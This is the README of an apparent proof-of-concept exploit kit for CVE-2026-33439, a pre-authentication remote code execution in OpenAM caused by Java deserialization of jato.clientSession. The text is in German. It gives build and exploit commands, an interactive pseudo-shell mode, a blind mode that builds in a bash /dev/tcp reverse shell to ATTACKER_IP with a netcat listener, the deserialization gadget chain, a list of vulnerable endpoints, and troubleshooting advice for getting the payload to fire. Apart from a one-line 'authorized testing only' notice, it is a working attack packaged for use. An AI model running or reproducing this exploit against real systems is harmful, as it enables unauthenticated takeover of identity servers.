CVE-2026-33439 — OpenAM Pre-Auth RCE

Pre-Authentifizierungs-Remote-Code-Execution in OpenIdentityPlatform OpenAM <= 16.0.5 über unsichere Java-Deserialisierung des Parameters jato.clientSession (CVSS 9.8).

Nur für autorisierte Sicherheitstests.

Schnellstart

# 1. Build payload (downloads JARs from Maven Central + compiles gadget chain)
python build.py

# 2. Exploit — interactive shell (output returned in HTTP response)
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell

Voraussetzungen

Python 3.10+ (nur Standardbibliothek, kein pip install)
JDK 21 (für build.py — muss mit der JVM-Version des Zielservers übereinstimmen; JDK 25 erzeugt inkompatible serialisierte Objekte)

Zwei Modi

Interaktiver Modus (Standard) — Ausgabe in der HTTP-Antwort

# Build interactive payload (no --command flag)
python build.py

# Single command
python exploit.py --url https://target/openam/ui/PWResetUserValidation "whoami"

# Interactive pseudo-shell
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell

# Auto-detect endpoint from base URL
python exploit.py --url https://target/openam/ --probe --shell

# Build blind payload with reverse shell command
python build.py --command "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

# Terminal 1: listener
nc -lvnp 4444

# Terminal 2: deliver to all JATO endpoints
python exploit.py --url https://target/openam/ --all

Flag	Beschreibung
(keine Flags)	Interaktives Payload erstellen (liest `cmd`-Header zur Laufzeit)
`--command "CMD"`	Blindes Payload mit in den Bytecode eingebettetem CMD erstellen
`--jars DIR`	Lokales JAR-Verzeichnis anstelle des Downloads verwenden (Standard: `./libs`)
`--download-only`	Nur JARs herunterladen, nicht kompilieren

Flag	Beschreibung
`--url URL`	Ziel-URL (erforderlich) — vollständiger Endpunkt oder Basis-URL mit `--probe`/`--all`
`--shell`	Interaktive Pseudo-Shell (interaktiver Modus)
`--probe`	Anfälligen Endpunkt automatisch aus der Basis-URL erkennen
`--all`	Payload an ALLE JATO-Endpunkte liefern (blinder Modus)
`--method GET\|POST`	HTTP-Übertragungsmethode (Standard: GET)
`--proxy URL`	HTTP-Proxy (z. B. `http://127.0.0.1:8080` für Burp)
`--timeout SECS`	Anfrage-Timeout (Standard: 15)
`--verify-tls`	TLS-Zertifikatsüberprüfung aktivieren
`--debug`	Details zu Anfrage/Antwort anzeigen

python verify.py              # summary: classes, integrity, red-flag scan
python verify.py --strings    # all printable strings in the payload
python verify.py --hexdump    # full hex dump
python verify.py --dump p.bin # export raw bytes for SerializationDumper / javap

PriorityQueue.readObject()
  -> heapify() -> Column$ColumnComparator.compare()
    -> Column.getTable().isSortedAscending()
    -> Column.getProperty() -> PropertyUtils.getObjectPropertyValue()
      -> TemplatesImpl.getOutputProperties()
        -> defineTransletClasses() -> newInstance()
          -> EvilTranslet.<clinit>()  // command executes here

Symptom	Ursache	Lösung
HTML-Seite anstelle der Befehlsausgabe zurückgegeben	JSP überschreibt die Antwort	`--shell` mit interaktivem Payload verwenden; oder in den blinden Modus wechseln
Deserialisierung wird nicht ausgelöst	JDK-Versionskonflikt	Mit JDK 21 neu erstellen: `export JAVA_HOME=/path/to/jdk-21`
TLS-Handshake-Timeout	Server erfordert SNI-Hostnamen	Ziel zu `/etc/hosts` hinzufügen und Hostnamen statt IP verwenden
`javac` nicht gefunden	JDK nicht installiert	`apt install openjdk-21-jdk`

Endpunkt	Hinweise
`/openam/ui/PWResetUserValidation`	Passwort-Zurücksetzung (am zuverlässigsten)
`/openam/ui/PWResetQuestion`	Sicherheitsfragen zur Passwort-Zurücksetzung
`/openam/ui/Login`	Anmeldeseite

Beliebteste

CVE-2026-33439-PoC

Blinder Modus — für Reverse Shells / OOB

Alle Optionen

`build.py`

`exploit.py`

Payload-Transparenz

Gadget-Kette

EvilTranslet (interaktiver Modus)

EvilTranslet (blinder Modus)

Anfällige Endpunkte

Fehlerbehebung

Referenzen

Lizenz